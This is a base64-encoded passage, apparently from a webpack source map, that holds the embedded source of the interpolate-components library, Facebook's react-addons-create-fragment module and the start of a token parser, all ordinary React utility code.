G5cdGlmIChjaGlsZHJlbi5sZW5ndGggPT09IDEpIHtcblx0XHRyZXR1cm4gY2hpbGRyZW5bMF07XG5cdH1cblxuXHRjaGlsZHJlbi5mb3JFYWNoKGZ1bmN0aW9uIChjaGlsZCwgaW5kZXgpIHtcblx0XHRpZiAoY2hpbGQpIHtcblx0XHRcdGNoaWxkcmVuT2JqZWN0WydpbnRlcnBvbGF0aW9uLWNoaWxkLScgKyBpbmRleF0gPSBjaGlsZDtcblx0XHR9XG5cdH0pO1xuXG5cdHJldHVybiAoMCwgX3JlYWN0QWRkb25zQ3JlYXRlRnJhZ21lbnQyLmRlZmF1bHQpKGNoaWxkcmVuT2JqZWN0KTtcbn1cblxuZnVuY3Rpb24gaW50ZXJwb2xhdGUob3B0aW9ucykge1xuXHR2YXIgbWl4ZWRTdHJpbmcgPSBvcHRpb25zLm1peGVkU3RyaW5nLFxuXHQgICAgY29tcG9uZW50cyA9IG9wdGlvbnMuY29tcG9uZW50cyxcblx0ICAgIHRocm93RXJyb3JzID0gb3B0aW9ucy50aHJvd0Vycm9ycztcblxuXG5cdGN1cnJlbnRNaXhlZFN0cmluZyA9IG1peGVkU3RyaW5nO1xuXG5cdGlmICghY29tcG9uZW50cykge1xuXHRcdHJldHVybiBtaXhlZFN0cmluZztcblx0fVxuXG5cdGlmICgodHlwZW9mIGNvbXBvbmVudHMgPT09ICd1bmRlZmluZWQnID8gJ3VuZGVmaW5lZCcgOiBfdHlwZW9mKGNvbXBvbmVudHMpKSAhPT0gJ29iamVjdCcpIHtcblx0XHRpZiAodGhyb3dFcnJvcnMpIHtcblx0XHRcdHRocm93IG5ldyBFcnJvcignSW50ZXJwb2xhdGlvbiBFcnJvcjogdW5hYmxlIHRvIHByb2Nlc3MgYCcgKyBtaXhlZFN0cmluZyArICdgIGJlY2F1c2UgY29tcG9uZW50cyBpcyBub3QgYW4gb2JqZWN0Jyk7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIG1peGVkU3RyaW5nO1xuXHR9XG5cblx0dmFyIHRva2VucyA9ICgwLCBfdG9rZW5pemUyLmRlZmF1bHQpKG1peGVkU3RyaW5nKTtcblxuXHR0cnkge1xuXHRcdHJldHVybiBidWlsZENoaWxkcmVuKHRva2VucywgY29tcG9uZW50cyk7XG5cdH0gY2F0Y2ggKGVycm9yKSB7XG5cdFx0aWYgKHRocm93RXJyb3JzKSB7XG5cdFx0XHR0aHJvdyBuZXcgRXJyb3IoJ0ludGVycG9sYXRpb24gRXJyb3I6IHVuYWJsZSB0byBwcm9jZXNzIGAnICsgbWl4ZWRTdHJpbmcgKyAnYCBiZWNhdXNlIG9mIGVycm9yIGAnICsgZXJyb3IubWVzc2FnZSArICdgJyk7XG5cdFx0fVxuXG5cdFx0cmV0dXJuIG1peGVkU3RyaW5nO1xuXHR9XG59O1xuXG5leHBvcnRzLmRlZmF1bHQgPSBpbnRlcnBvbGF0ZTtcbi8vIyBzb3VyY2VNYXBwaW5nVVJMPWluZGV4LmpzLm1hcFxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL2ludGVycG9sYXRlLWNvbXBvbmVudHMvbGliL2luZGV4LmpzXG4vLyBtb2R1bGUgaWQgPSAxMDBcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQgNSIsIi8qKlxuICogQ29weXJpZ2h0IChjKSAyMDE1LXByZXNlbnQsIEZhY2Vib29rLCBJbmMuXG4gKlxuICogVGhpcyBzb3VyY2UgY29kZSBpcyBsaWNlbnNlZCB1bmRlciB0aGUgTUlUIGxpY2Vuc2UgZm91bmQgaW4gdGhlXG4gKiBMSUNFTlNFIGZpbGUgaW4gdGhlIHJvb3QgZGlyZWN0b3J5IG9mIHRoaXMgc291cmNlIHRyZWUuXG4gKi9cblxuJ3VzZSBzdHJpY3QnO1xuXG52YXIgUmVhY3QgPSByZXF1aXJlKCdyZWFjdCcpO1xuXG52YXIgUkVBQ1RfRUxFTUVOVF9UWVBFID1cbiAgKHR5cGVvZiBTeW1ib2wgPT09ICdmdW5jdGlvbicgJiYgU3ltYm9sLmZvciAmJiBTeW1ib2wuZm9yKCdyZWFjdC5lbGVtZW50JykpIHx8XG4gIDB4ZWFjNztcblxudmFyIGVtcHR5RnVuY3Rpb24gPSByZXF1aXJlKCdmYmpzL2xpYi9lbXB0eUZ1bmN0aW9uJyk7XG52YXIgaW52YXJpYW50ID0gcmVxdWlyZSgnZmJqcy9saWIvaW52YXJpYW50Jyk7XG52YXIgd2FybmluZyA9IHJlcXVpcmUoJ2ZianMvbGliL3dhcm5pbmcnKTtcblxudmFyIFNFUEFSQVRPUiA9ICcuJztcbnZhciBTVUJTRVBBUkFUT1IgPSAnOic7XG5cbnZhciBkaWRXYXJuQWJvdXRNYXBzID0gZmFsc2U7XG5cbnZhciBJVEVSQVRPUl9TWU1CT0wgPSB0eXBlb2YgU3ltYm9sID09PSAnZnVuY3Rpb24nICYmIFN5bWJvbC5pdGVyYXRvcjtcbnZhciBGQVVYX0lURVJBVE9SX1NZTUJPTCA9ICdAQGl0ZXJhdG9yJzsgLy8gQmVmb3JlIFN5bWJvbCBzcGVjLlxuXG5mdW5jdGlvbiBnZXRJdGVyYXRvckZuKG1heWJlSXRlcmFibGUpIHtcbiAgdmFyIGl0ZXJhdG9yRm4gPVxuICAgIG1heWJlSXRlcmFibGUgJiZcbiAgICAoKElURVJBVE9SX1NZTUJPTCAmJiBtYXliZUl0ZXJhYmxlW0lURVJBVE9SX1NZTUJPTF0pIHx8XG4gICAgICBtYXliZUl0ZXJhYmxlW0ZBVVhfSVRFUkFUT1JfU1lNQk9MXSk7XG4gIGlmICh0eXBlb2YgaXRlcmF0b3JGbiA9PT0gJ2Z1bmN0aW9uJykge1xuICAgIHJldHVybiBpdGVyYXRvckZuO1xuICB9XG59XG5cbmZ1bmN0aW9uIGVzY2FwZShrZXkpIHtcbiAgdmFyIGVzY2FwZVJlZ2V4ID0gL1s9Ol0vZztcbiAgdmFyIGVzY2FwZXJMb29rdXAgPSB7XG4gICAgJz0nOiAnPTAnLFxuICAgICc6JzogJz0yJ1xuICB9O1xuICB2YXIgZXNjYXBlZFN0cmluZyA9ICgnJyArIGtleSkucmVwbGFjZShlc2NhcGVSZWdleCwgZnVuY3Rpb24obWF0Y2gpIHtcbiAgICByZXR1cm4gZXNjYXBlckxvb2t1cFttYXRjaF07XG4gIH0pO1xuXG4gIHJldHVybiAnJCcgKyBlc2NhcGVkU3RyaW5nO1xufVxuXG5mdW5jdGlvbiBnZXRDb21wb25lbnRLZXkoY29tcG9uZW50LCBpbmRleCkge1xuICAvLyBEbyBzb21lIHR5cGVjaGVja2luZyBoZXJlIHNpbmNlIHdlIGNhbGwgdGhpcyBibGluZGx5LiBXZSB3YW50IHRvIGVuc3VyZVxuICAvLyB0aGF0IHdlIGRvbid0IGJsb2NrIHBvdGVudGlhbCBmdXR1cmUgRVMgQVBJcy5cbiAgaWYgKGNvbXBvbmVudCAmJiB0eXBlb2YgY29tcG9uZW50ID09PSAnb2JqZWN0JyAmJiBjb21wb25lbnQua2V5ICE9IG51bGwpIHtcbiAgICAvLyBFeHBsaWNpdCBrZXlcbiAgICByZXR1cm4gZXNjYXBlKGNvbXBvbmVudC5rZXkpO1xuICB9XG4gIC8vIEltcGxpY2l0IGtleSBkZXRlcm1pbmVkIGJ5IHRoZSBpbmRleCBpbiB0aGUgc2V0XG4gIHJldHVybiBpbmRleC50b1N0cmluZygzNik7XG59XG5cbmZ1bmN0aW9uIHRyYXZlcnNlQWxsQ2hpbGRyZW5JbXBsKFxuICBjaGlsZHJlbixcbiAgbmFtZVNvRmFyLFxuICBjYWxsYmFjayxcbiAgdHJhdmVyc2VDb250ZXh0XG4pIHtcbiAgdmFyIHR5cGUgPSB0eXBlb2YgY2hpbGRyZW47XG5cbiAgaWYgKHR5cGUgPT09ICd1bmRlZmluZWQnIHx8IHR5cGUgPT09ICdib29sZWFuJykge1xuICAgIC8vIEFsbCBvZiB0aGUgYWJvdmUgYXJlIHBlcmNlaXZlZCBhcyBudWxsLlxuICAgIGNoaWxkcmVuID0gbnVsbDtcbiAgfVxuXG4gIGlmIChcbiAgICBjaGlsZHJlbiA9PT0gbnVsbCB8fFxuICAgIHR5cGUgPT09ICdzdHJpbmcnIHx8XG4gICAgdHlwZSA9PT0gJ251bWJlcicgfHxcbiAgICAvLyBUaGUgZm9sbG93aW5nIGlzIGlubGluZWQgZnJvbSBSZWFjdEVsZW1lbnQuIFRoaXMgbWVhbnMgd2UgY2FuIG9wdGltaXplXG4gICAgLy8gc29tZSBjaGVja3MuIFJlYWN0IEZpYmVyIGFsc28gaW5saW5lcyB0aGlzIGxvZ2ljIGZvciBzaW1pbGFyIHB1cnBvc2VzLlxuICAgICh0eXBlID09PSAnb2JqZWN0JyAmJiBjaGlsZHJlbi4kJHR5cGVvZiA9PT0gUkVBQ1RfRUxFTUVOVF9UWVBFKVxuICApIHtcbiAgICBjYWxsYmFjayhcbiAgICAgIHRyYXZlcnNlQ29udGV4dCxcbiAgICAgIGNoaWxkcmVuLFxuICAgICAgLy8gSWYgaXQncyB0aGUgb25seSBjaGlsZCwgdHJlYXQgdGhlIG5hbWUgYXMgaWYgaXQgd2FzIHdyYXBwZWQgaW4gYW4gYXJyYXlcbiAgICAgIC8vIHNvIHRoYXQgaXQncyBjb25zaXN0ZW50IGlmIHRoZSBudW1iZXIgb2YgY2hpbGRyZW4gZ3Jvd3MuXG4gICAgICBuYW1lU29GYXIgPT09ICcnID8gU0VQQVJBVE9SICsgZ2V0Q29tcG9uZW50S2V5KGNoaWxkcmVuLCAwKSA6IG5hbWVTb0ZhclxuICAgICk7XG4gICAgcmV0dXJuIDE7XG4gIH1cblxuICB2YXIgY2hpbGQ7XG4gIHZhciBuZXh0TmFtZTtcbiAgdmFyIHN1YnRyZWVDb3VudCA9IDA7IC8vIENvdW50IG9mIGNoaWxkcmVuIGZvdW5kIGluIHRoZSBjdXJyZW50IHN1YnRyZWUuXG4gIHZhciBuZXh0TmFtZVByZWZpeCA9IG5hbWVTb0ZhciA9PT0gJycgPyBTRVBBUkFUT1IgOiBuYW1lU29GYXIgKyBTVUJTRVBBUkFUT1I7XG5cbiAgaWYgKEFycmF5LmlzQXJyYXkoY2hpbGRyZW4pKSB7XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBjaGlsZHJlbi5sZW5ndGg7IGkrKykge1xuICAgICAgY2hpbGQgPSBjaGlsZHJlbltpXTtcbiAgICAgIG5leHROYW1lID0gbmV4dE5hbWVQcmVmaXggKyBnZXRDb21wb25lbnRLZXkoY2hpbGQsIGkpO1xuICAgICAgc3VidHJlZUNvdW50ICs9IHRyYXZlcnNlQWxsQ2hpbGRyZW5JbXBsKFxuICAgICAgICBjaGlsZCxcbiAgICAgICAgbmV4dE5hbWUsXG4gICAgICAgIGNhbGxiYWNrLFxuICAgICAgICB0cmF2ZXJzZUNvbnRleHRcbiAgICAgICk7XG4gICAgfVxuICB9IGVsc2Uge1xuICAgIHZhciBpdGVyYXRvckZuID0gZ2V0SXRlcmF0b3JGbihjaGlsZHJlbik7XG4gICAgaWYgKGl0ZXJhdG9yRm4pIHtcbiAgICAgIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gICAgICAgIC8vIFdhcm4gYWJvdXQgdXNpbmcgTWFwcyBhcyBjaGlsZHJlblxuICAgICAgICBpZiAoaXRlcmF0b3JGbiA9PT0gY2hpbGRyZW4uZW50cmllcykge1xuICAgICAgICAgIHdhcm5pbmcoXG4gICAgICAgICAgICBkaWRXYXJuQWJvdXRNYXBzLFxuICAgICAgICAgICAgJ1VzaW5nIE1hcHMgYXMgY2hpbGRyZW4gaXMgdW5zdXBwb3J0ZWQgYW5kIHdpbGwgbGlrZWx5IHlpZWxkICcgK1xuICAgICAgICAgICAgICAndW5leHBlY3RlZCByZXN1bHRzLiBDb252ZXJ0IGl0IHRvIGEgc2VxdWVuY2UvaXRlcmFibGUgb2Yga2V5ZWQgJyArXG4gICAgICAgICAgICAgICdSZWFjdEVsZW1lbnRzIGluc3RlYWQuJ1xuICAgICAgICAgICk7XG4gICAgICAgICAgZGlkV2FybkFib3V0TWFwcyA9IHRydWU7XG4gICAgICAgIH1cbiAgICAgIH1cblxuICAgICAgdmFyIGl0ZXJhdG9yID0gaXRlcmF0b3JGbi5jYWxsKGNoaWxkcmVuKTtcbiAgICAgIHZhciBzdGVwO1xuICAgICAgdmFyIGlpID0gMDtcbiAgICAgIHdoaWxlICghKHN0ZXAgPSBpdGVyYXRvci5uZXh0KCkpLmRvbmUpIHtcbiAgICAgICAgY2hpbGQgPSBzdGVwLnZhbHVlO1xuICAgICAgICBuZXh0TmFtZSA9IG5leHROYW1lUHJlZml4ICsgZ2V0Q29tcG9uZW50S2V5KGNoaWxkLCBpaSsrKTtcbiAgICAgICAgc3VidHJlZUNvdW50ICs9IHRyYXZlcnNlQWxsQ2hpbGRyZW5JbXBsKFxuICAgICAgICAgIGNoaWxkLFxuICAgICAgICAgIG5leHROYW1lLFxuICAgICAgICAgIGNhbGxiYWNrLFxuICAgICAgICAgIHRyYXZlcnNlQ29udGV4dFxuICAgICAgICApO1xuICAgICAgfVxuICAgIH0gZWxzZSBpZiAodHlwZSA9PT0gJ29iamVjdCcpIHtcbiAgICAgIHZhciBhZGRlbmR1bSA9ICcnO1xuICAgICAgaWYgKHByb2Nlc3MuZW52Lk5PREVfRU5WICE9PSAncHJvZHVjdGlvbicpIHtcbiAgICAgICAgYWRkZW5kdW0gPVxuICAgICAgICAgICcgSWYgeW91IG1lYW50IHRvIHJlbmRlciBhIGNvbGxlY3Rpb24gb2YgY2hpbGRyZW4sIHVzZSBhbiBhcnJheSAnICtcbiAgICAgICAgICAnaW5zdGVhZCBvciB3cmFwIHRoZSBvYmplY3QgdXNpbmcgY3JlYXRlRnJhZ21lbnQob2JqZWN0KSBmcm9tIHRoZSAnICtcbiAgICAgICAgICAnUmVhY3QgYWRkLW9ucy4nO1xuICAgICAgfVxuICAgICAgdmFyIGNoaWxkcmVuU3RyaW5nID0gJycgKyBjaGlsZHJlbjtcbiAgICAgIGludmFyaWFudChcbiAgICAgICAgZmFsc2UsXG4gICAgICAgICdPYmplY3RzIGFyZSBub3QgdmFsaWQgYXMgYSBSZWFjdCBjaGlsZCAoZm91bmQ6ICVzKS4lcycsXG4gICAgICAgIGNoaWxkcmVuU3RyaW5nID09PSAnW29iamVjdCBPYmplY3RdJ1xuICAgICAgICAgID8gJ29iamVjdCB3aXRoIGtleXMgeycgKyBPYmplY3Qua2V5cyhjaGlsZHJlbikuam9pbignLCAnKSArICd9J1xuICAgICAgICAgIDogY2hpbGRyZW5TdHJpbmcsXG4gICAgICAgIGFkZGVuZHVtXG4gICAgICApO1xuICAgIH1cbiAgfVxuXG4gIHJldHVybiBzdWJ0cmVlQ291bnQ7XG59XG5cbmZ1bmN0aW9uIHRyYXZlcnNlQWxsQ2hpbGRyZW4oY2hpbGRyZW4sIGNhbGxiYWNrLCB0cmF2ZXJzZUNvbnRleHQpIHtcbiAgaWYgKGNoaWxkcmVuID09IG51bGwpIHtcbiAgICByZXR1cm4gMDtcbiAgfVxuXG4gIHJldHVybiB0cmF2ZXJzZUFsbENoaWxkcmVuSW1wbChjaGlsZHJlbiwgJycsIGNhbGxiYWNrLCB0cmF2ZXJzZUNvbnRleHQpO1xufVxuXG52YXIgdXNlclByb3ZpZGVkS2V5RXNjYXBlUmVnZXggPSAvXFwvKy9nO1xuZnVuY3Rpb24gZXNjYXBlVXNlclByb3ZpZGVkS2V5KHRleHQpIHtcbiAgcmV0dXJuICgnJyArIHRleHQpLnJlcGxhY2UodXNlclByb3ZpZGVkS2V5RXNjYXBlUmVnZXgsICckJi8nKTtcbn1cblxuZnVuY3Rpb24gY2xvbmVBbmRSZXBsYWNlS2V5KG9sZEVsZW1lbnQsIG5ld0tleSkge1xuICByZXR1cm4gUmVhY3QuY2xvbmVFbGVtZW50KFxuICAgIG9sZEVsZW1lbnQsXG4gICAge2tleTogbmV3S2V5fSxcbiAgICBvbGRFbGVtZW50LnByb3BzICE9PSB1bmRlZmluZWQgPyBvbGRFbGVtZW50LnByb3BzLmNoaWxkcmVuIDogdW5kZWZpbmVkXG4gICk7XG59XG5cbnZhciBERUZBVUxUX1BPT0xfU0laRSA9IDEwO1xudmFyIERFRkFVTFRfUE9PTEVSID0gb25lQXJndW1lbnRQb29sZXI7XG5cbnZhciBvbmVBcmd1bWVudFBvb2xlciA9IGZ1bmN0aW9uKGNvcHlGaWVsZHNGcm9tKSB7XG4gIHZhciBLbGFzcyA9IHRoaXM7XG4gIGlmIChLbGFzcy5pbnN0YW5jZVBvb2wubGVuZ3RoKSB7XG4gICAgdmFyIGluc3RhbmNlID0gS2xhc3MuaW5zdGFuY2VQb29sLnBvcCgpO1xuICAgIEtsYXNzLmNhbGwoaW5zdGFuY2UsIGNvcHlGaWVsZHNGcm9tKTtcbiAgICByZXR1cm4gaW5zdGFuY2U7XG4gIH0gZWxzZSB7XG4gICAgcmV0dXJuIG5ldyBLbGFzcyhjb3B5RmllbGRzRnJvbSk7XG4gIH1cbn07XG5cbnZhciBhZGRQb29saW5nVG8gPSBmdW5jdGlvbiBhZGRQb29saW5nVG8oQ29weUNvbnN0cnVjdG9yLCBwb29sZXIpIHtcbiAgLy8gQ2FzdGluZyBhcyBhbnkgc28gdGhhdCBmbG93IGlnbm9yZXMgdGhlIGFjdHVhbCBpbXBsZW1lbnRhdGlvbiBhbmQgdHJ1c3RzXG4gIC8vIGl0IHRvIG1hdGNoIHRoZSB0eXBlIHdlIGRlY2xhcmVkXG4gIHZhciBOZXdLbGFzcyA9IENvcHlDb25zdHJ1Y3RvcjtcbiAgTmV3S2xhc3MuaW5zdGFuY2VQb29sID0gW107XG4gIE5ld0tsYXNzLmdldFBvb2xlZCA9IHBvb2xlciB8fCBERUZBVUxUX1BPT0xFUjtcbiAgaWYgKCFOZXdLbGFzcy5wb29sU2l6ZSkge1xuICAgIE5ld0tsYXNzLnBvb2xTaXplID0gREVGQVVMVF9QT09MX1NJWkU7XG4gIH1cbiAgTmV3S2xhc3MucmVsZWFzZSA9IHN0YW5kYXJkUmVsZWFzZXI7XG4gIHJldHVybiBOZXdLbGFzcztcbn07XG5cbnZhciBzdGFuZGFyZFJlbGVhc2VyID0gZnVuY3Rpb24gc3RhbmRhcmRSZWxlYXNlcihpbnN0YW5jZSkge1xuICB2YXIgS2xhc3MgPSB0aGlzO1xuICBpbnZhcmlhbnQoXG4gICAgaW5zdGFuY2UgaW5zdGFuY2VvZiBLbGFzcyxcbiAgICAnVHJ5aW5nIHRvIHJlbGVhc2UgYW4gaW5zdGFuY2UgaW50byBhIHBvb2wgb2YgYSBkaWZmZXJlbnQgdHlwZS4nXG4gICk7XG4gIGluc3RhbmNlLmRlc3RydWN0b3IoKTtcbiAgaWYgKEtsYXNzLmluc3RhbmNlUG9vbC5sZW5ndGggPCBLbGFzcy5wb29sU2l6ZSkge1xuICAgIEtsYXNzLmluc3RhbmNlUG9vbC5wdXNoKGluc3RhbmNlKTtcbiAgfVxufTtcblxudmFyIGZvdXJBcmd1bWVudFBvb2xlciA9IGZ1bmN0aW9uIGZvdXJBcmd1bWVudFBvb2xlcihhMSwgYTIsIGEzLCBhNCkge1xuICB2YXIgS2xhc3MgPSB0aGlzO1xuICBpZiAoS2xhc3MuaW5zdGFuY2VQb29sLmxlbmd0aCkge1xuICAgIHZhciBpbnN0YW5jZSA9IEtsYXNzLmluc3RhbmNlUG9vbC5wb3AoKTtcbiAgICBLbGFzcy5jYWxsKGluc3RhbmNlLCBhMSwgYTIsIGEzLCBhNCk7XG4gICAgcmV0dXJuIGluc3RhbmNlO1xuICB9IGVsc2Uge1xuICAgIHJldHVybiBuZXcgS2xhc3MoYTEsIGEyLCBhMywgYTQpO1xuICB9XG59O1xuXG5mdW5jdGlvbiBNYXBCb29rS2VlcGluZyhtYXBSZXN1bHQsIGtleVByZWZpeCwgbWFwRnVuY3Rpb24sIG1hcENvbnRleHQpIHtcbiAgdGhpcy5yZXN1bHQgPSBtYXBSZXN1bHQ7XG4gIHRoaXMua2V5UHJlZml4ID0ga2V5UHJlZml4O1xuICB0aGlzLmZ1bmMgPSBtYXBGdW5jdGlvbjtcbiAgdGhpcy5jb250ZXh0ID0gbWFwQ29udGV4dDtcbiAgdGhpcy5jb3VudCA9IDA7XG59XG5NYXBCb29rS2VlcGluZy5wcm90b3R5cGUuZGVzdHJ1Y3RvciA9IGZ1bmN0aW9uKCkge1xuICB0aGlzLnJlc3VsdCA9IG51bGw7XG4gIHRoaXMua2V5UHJlZml4ID0gbnVsbDtcbiAgdGhpcy5mdW5jID0gbnVsbDtcbiAgdGhpcy5jb250ZXh0ID0gbnVsbDtcbiAgdGhpcy5jb3VudCA9IDA7XG59O1xuYWRkUG9vbGluZ1RvKE1hcEJvb2tLZWVwaW5nLCBmb3VyQXJndW1lbnRQb29sZXIpO1xuXG5mdW5jdGlvbiBtYXBTaW5nbGVDaGlsZEludG9Db250ZXh0KGJvb2tLZWVwaW5nLCBjaGlsZCwgY2hpbGRLZXkpIHtcbiAgdmFyIHJlc3VsdCA9IGJvb2tLZWVwaW5nLnJlc3VsdDtcbiAgdmFyIGtleVByZWZpeCA9IGJvb2tLZWVwaW5nLmtleVByZWZpeDtcbiAgdmFyIGZ1bmMgPSBib29rS2VlcGluZy5mdW5jO1xuICB2YXIgY29udGV4dCA9IGJvb2tLZWVwaW5nLmNvbnRleHQ7XG5cbiAgdmFyIG1hcHBlZENoaWxkID0gZnVuYy5jYWxsKGNvbnRleHQsIGNoaWxkLCBib29rS2VlcGluZy5jb3VudCsrKTtcbiAgaWYgKEFycmF5LmlzQXJyYXkobWFwcGVkQ2hpbGQpKSB7XG4gICAgbWFwSW50b1dpdGhLZXlQcmVmaXhJbnRlcm5hbChcbiAgICAgIG1hcHBlZENoaWxkLFxuICAgICAgcmVzdWx0LFxuICAgICAgY2hpbGRLZXksXG4gICAgICBlbXB0eUZ1bmN0aW9uLnRoYXRSZXR1cm5zQXJndW1lbnRcbiAgICApO1xuICB9IGVsc2UgaWYgKG1hcHBlZENoaWxkICE9IG51bGwpIHtcbiAgICBpZiAoUmVhY3QuaXNWYWxpZEVsZW1lbnQobWFwcGVkQ2hpbGQpKSB7XG4gICAgICBtYXBwZWRDaGlsZCA9IGNsb25lQW5kUmVwbGFjZUtleShcbiAgICAgICAgbWFwcGVkQ2hpbGQsXG4gICAgICAgIC8vIEtlZXAgYm90aCB0aGUgKG1hcHBlZCkgYW5kIG9sZCBrZXlzIGlmIHRoZXkgZGlmZmVyLCBqdXN0IGFzXG4gICAgICAgIC8vIHRyYXZlcnNlQWxsQ2hpbGRyZW4gdXNlZCB0byBkbyBmb3Igb2JqZWN0cyBhcyBjaGlsZHJlblxuICAgICAgICBrZXlQcmVmaXggK1xuICAgICAgICAgIChtYXBwZWRDaGlsZC5rZXkgJiYgKCFjaGlsZCB8fCBjaGlsZC5rZXkgIT09IG1hcHBlZENoaWxkLmtleSlcbiAgICAgICAgICAgID8gZXNjYXBlVXNlclByb3ZpZGVkS2V5KG1hcHBlZENoaWxkLmtleSkgKyAnLydcbiAgICAgICAgICAgIDogJycpICtcbiAgICAgICAgICBjaGlsZEtleVxuICAgICAgKTtcbiAgICB9XG4gICAgcmVzdWx0LnB1c2gobWFwcGVkQ2hpbGQpO1xuICB9XG59XG5cbmZ1bmN0aW9uIG1hcEludG9XaXRoS2V5UHJlZml4SW50ZXJuYWwoY2hpbGRyZW4sIGFycmF5LCBwcmVmaXgsIGZ1bmMsIGNvbnRleHQpIHtcbiAgdmFyIGVzY2FwZWRQcmVmaXggPSAnJztcbiAgaWYgKHByZWZpeCAhPSBudWxsKSB7XG4gICAgZXNjYXBlZFByZWZpeCA9IGVzY2FwZVVzZXJQcm92aWRlZEtleShwcmVmaXgpICsgJy8nO1xuICB9XG4gIHZhciB0cmF2ZXJzZUNvbnRleHQgPSBNYXBCb29rS2VlcGluZy5nZXRQb29sZWQoXG4gICAgYXJyYXksXG4gICAgZXNjYXBlZFByZWZpeCxcbiAgICBmdW5jLFxuICAgIGNvbnRleHRcbiAgKTtcbiAgdHJhdmVyc2VBbGxDaGlsZHJlbihjaGlsZHJlbiwgbWFwU2luZ2xlQ2hpbGRJbnRvQ29udGV4dCwgdHJhdmVyc2VDb250ZXh0KTtcbiAgTWFwQm9va0tlZXBpbmcucmVsZWFzZSh0cmF2ZXJzZUNvbnRleHQpO1xufVxuXG52YXIgbnVtZXJpY1Byb3BlcnR5UmVnZXggPSAvXlxcZCskLztcblxudmFyIHdhcm5lZEFib3V0TnVtZXJpYyA9IGZhbHNlO1xuXG5mdW5jdGlvbiBjcmVhdGVSZWFjdEZyYWdtZW50KG9iamVjdCkge1xuICBpZiAodHlwZW9mIG9iamVjdCAhPT0gJ29iamVjdCcgfHwgIW9iamVjdCB8fCBBcnJheS5pc0FycmF5KG9iamVjdCkpIHtcbiAgICB3YXJuaW5nKFxuICAgICAgZmFsc2UsXG4gICAgICAnUmVhY3QuYWRkb25zLmNyZWF0ZUZyYWdtZW50IG9ubHkgYWNjZXB0cyBhIHNpbmdsZSBvYmplY3QuIEdvdDogJXMnLFxuICAgICAgb2JqZWN0XG4gICAgKTtcbiAgICByZXR1cm4gb2JqZWN0O1xuICB9XG4gIGlmIChSZWFjdC5pc1ZhbGlkRWxlbWVudChvYmplY3QpKSB7XG4gICAgd2FybmluZyhcbiAgICAgIGZhbHNlLFxuICAgICAgJ1JlYWN0LmFkZG9ucy5jcmVhdGVGcmFnbWVudCBkb2VzIG5vdCBhY2NlcHQgYSBSZWFjdEVsZW1lbnQgJyArXG4gICAgICAgICd3aXRob3V0IGEgd3JhcHBlciBvYmplY3QuJ1xuICAgICk7XG4gICAgcmV0dXJuIG9iamVjdDtcbiAgfVxuXG4gIGludmFyaWFudChcbiAgICBvYmplY3Qubm9kZVR5cGUgIT09IDEsXG4gICAgJ1JlYWN0LmFkZG9ucy5jcmVhdGVGcmFnbWVudCguLi4pOiBFbmNvdW50ZXJlZCBhbiBpbnZhbGlkIGNoaWxkOyBET00gJyArXG4gICAgICAnZWxlbWVudHMgYXJlIG5vdCB2YWxpZCBjaGlsZHJlbiBvZiBSZWFjdCBjb21wb25lbnRzLidcbiAgKTtcblxuICB2YXIgcmVzdWx0ID0gW107XG5cbiAgZm9yICh2YXIga2V5IGluIG9iamVjdCkge1xuICAgIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gICAgICBpZiAoIXdhcm5lZEFib3V0TnVtZXJpYyAmJiBudW1lcmljUHJvcGVydHlSZWdleC50ZXN0KGtleSkpIHtcbiAgICAgICAgd2FybmluZyhcbiAgICAgICAgICBmYWxzZSxcbiAgICAgICAgICAnUmVhY3QuYWRkb25zLmNyZWF0ZUZyYWdtZW50KC4uLik6IENoaWxkIG9iamVjdHMgc2hvdWxkIGhhdmUgJyArXG4gICAgICAgICAgICAnbm9uLW51bWVyaWMga2V5cyBzbyBvcmRlcmluZyBpcyBwcmVzZXJ2ZWQuJ1xuICAgICAgICApO1xuICAgICAgICB3YXJuZWRBYm91dE51bWVyaWMgPSB0cnVlO1xuICAgICAgfVxuICAgIH1cbiAgICBtYXBJbnRvV2l0aEtleVByZWZpeEludGVybmFsKFxuICAgICAgb2JqZWN0W2tleV0sXG4gICAgICByZXN1bHQsXG4gICAgICBrZXksXG4gICAgICBlbXB0eUZ1bmN0aW9uLnRoYXRSZXR1cm5zQXJndW1lbnRcbiAgICApO1xuICB9XG5cbiAgcmV0dXJuIHJlc3VsdDtcbn1cblxubW9kdWxlLmV4cG9ydHMgPSBjcmVhdGVSZWFjdEZyYWdtZW50O1xuXG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3QtYWRkb25zLWNyZWF0ZS1mcmFnbWVudC9pbmRleC5qc1xuLy8gbW9kdWxlIGlkID0gMTAxXG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IDUiLCIndXNlIHN0cmljdCc7XG5cbmZ1bmN0aW9uIGlkZW50aWZ5VG9rZW4oaXRlbSkge1xuXHQvLyB7ey9leGFtcGxlfX1cblx0aWYgKGl0ZW0ubWF0Y2goL15cXHtcXHtcXC8vKSkge1xuXHRcdHJldHVybiB7XG5cdFx0XHR0eXBlOiAnY29tcG9uZW50Q2xvc2UnLFxuXHRcdFx0dmFsdWU6IGl0ZW0ucmVwbGFjZSgvXFxXL2csICcnKVxuXHRcdH07XG5cdH1cblx0Ly8ge3tleGFtcGxlIC99fVxuXHRpZiAoaXRlbS5tYXRjaCgvXFwvXFx9XFx9JC8pKSB7XG5cdFx0cmV0dXJuIHtcblx0XHRcdHR5cGU6ICdjb21wb25lbnRTZWxmQ2xvc2luZycsXG5cdFx0XHR2YWx1ZTogaXRlbS5yZXBsYWNlKC9cXFcvZywgJycpXG5cdFx0fTtcblx0fVxuXHQvLyB7e2V4YW1wbGV9fVxuXHRpZiAoaXRlbS5tYXRjaCgvXlxce1xcey8pKSB7XG5cdFx0cmV0dXJuIHtcblx0XHRcdHR5cGU6ICdjb21wb25lbnRPcGVuJyxcblx0XHRcdHZhbHVlOiBpdGVtLnJlcGxhY2UoL1xcVy9nLCAnJylcblx0XHR9O1xuXHR9XG5cdHJldHVybiB7XG5cdFx0dHlw